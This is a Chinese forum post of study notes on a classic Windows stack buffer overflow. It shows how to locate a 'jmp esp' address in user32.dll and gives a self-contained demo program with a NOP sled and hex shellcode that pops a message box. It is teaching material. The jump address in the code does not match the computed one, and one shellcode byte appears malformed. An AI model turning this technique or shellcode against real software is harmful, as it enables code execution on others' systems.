此帖于 2007-03-27 00:46 被 sdzbyy 编辑. | |
缓冲区溢出学习笔记
一:缓冲区溢出是指当计算机程序向缓冲区内 填充的数据位数超过了缓冲区本身的容量,溢 出的数据覆盖在合法数据上,我们使用精心设 计的shellcode来覆盖合法的数据,从何使我们 的shellcode得到执行。 缓冲区溢出堆栈原理图: ![]() 二:需要解决的几个小问题: 2.1缓冲区溢出后,用“jmp esp“指令地址覆 盖原来的函数返回地址,执行jmp esp后,ip指 针便指向缓冲区中我们的shellcode了,到哪去 找“jmp esp“的地址呢?我们想到了windows 的动态连接库user32.dll,我们在user32.dll 中找一个“jmp esp“指令的地址不就行了吗. 2.2将user32.dll载入ue,查找 FF E4,可能有人会问,你怎么知道jmp esp的机器码是FF E4?那好,我们来动手找出它来,编一个asm程序: ========================== .386 .model flat,stdcall option casemap:none include d:/masm32/hd.h .code start: jmp esp end start =========================== ml /c /coff /Cp jmp_esp.asm link /subsystem:windows jmp_esp.obj 我用masm编译的,编译后用od载入, ![]() ~嘿嘿,办法超级笨,高手莫笑。 2.3确定FF E4在user32.dll中的偏移地址 2.3.1用ue打开user32.dll查找FF E4, ![]() 2.3.2用peditor r载入user32.dll,选择右侧的FLC,在offset处填上我们用ue查出来FF E4在文件中的偏移量,peditor自动计算出FF E4的virtual address,77 d2 74 47。 嘿嘿~,偷懒的办法,你也可以自己动手计算。 ![]() 2.3.3动手计算:Va=16847h+77D10000h+c00h=77D27447,原理图如下: ![]() 三.解决了以上几个小问题后,结合缓冲区溢出堆栈原理图和一个本地溢出的程序,使用vc7.0反汇编调试一下,进一步动手实践。 给出我用来调试的程序: #include <string.h> #include <stdio.h> #include <windows.h> #define JUMPESP "/x28/x59/xD8/x77"//user32.dll中jmp esp指令的偏移量 unsigned char eip[8] = JUMPESP; unsigned char sploit[] = { "/x60" "/x8B/xEC" "/x83/xEC/x54" "/x33/xC9" "/xC6/x45/xDB/x75" "/xC6/x45/xDC/x73" "/xC6/x45/xDD/x65" "/xC6/x45/xDE/x72" "/xC6/x45/xDF/x33" "/xC6/x45/xE0/x32" "/xC6/x45/xE7/x2E" "/xC6/x45/xE/x64" "/xC6/x45/xE9/x6C" "/xC6/x45/xEA/x6C" "/x88/x4D/xEB" "/x8D/x45/xDB" "/x50" "/xB8/x77/x1D/x80/x7C" "/xFF/xD0" "/x55" "/x51" "/x8B/xEC" "/x83/xEC/x54" "/x33/xC9" "/xC6/x45/xEC/x53" "/xC6/x45/xED/x75" "/xC6/x45/xEE/x63" "/xC6/x45/xEF/x63" "/xC6/x45/xF0/x65" "/xC6/x45/xF1/x73" "/xC6/x45/xF2/x73" "/x88/x4D/xF3" "/xC6/x45/xF4/x57" "/xC6/x45/xF5/x65" "/xC6/x45/xF6/x20" "/xC6/x45/xF7/x47" "/xC6/x45/xF8/x6F" "/xC6/x45/xF9/x74" "/xC6/x45/xFA/x20" "/xC6/x45/xFB/x49" "/xC6/x45/xFC/x74" "/xC6/x45/xFD/x21" "/x88/x4D/xFE" "/x51" "/x8D/x45/xEC" "/x50" "/x8D/x45/xF4" "/x50" "/x51" "/xB8/xEA/x04/xD5/x77" "/xFF/xD0" "/x33/xDB" "/x53" "/xB8/xA2/xCA/x81/x7C" "/xFF/xD0" "/x8B/xE5" "/x61" }; int MyCopy( char* str ) { char buff1[50]; strcpy(buff1,str); return 1; } int main() { HINSTANCE u32=NULL; u32=LoadLibrary("user32.dll"); if(u32==NULL) { printf("cann't load user32.dll"); } char Buff[1024]; memset(&Buff,0,sizeof(Buff)); for(int i=0;i<56;Buff[i++]=0x90); strcpy(Buff+56,(char *)eip);// strcpy(Buff+60,(char *)sploit);// MyCopy(Buff); printf("/n successed /n"); return 0; } 调试步骤: 3.1在vc7.0中按下 F11 3.2 在发生溢出的函数MyCopy那里下个断点(按下F9). ![]() ================================================================== 3.3 按F11单步进入。 ================================================================== ![]() 3.3 ![]() ![]() 注意esp,ebp的变化 3.4 ret后就来到我们的shellcode了。 ![]() ![]() 程序在winxp_sp2下vc7.0编译通过,如果你的操作系统不是winxp_sp2,需要修改shellcode中调用的api的偏移地址。 第一次写东西有点乱,请大家多多包涵,有不对的地方请指教。 |
此帖于 2007-03-29 10:31 被 sdzbyy 编辑.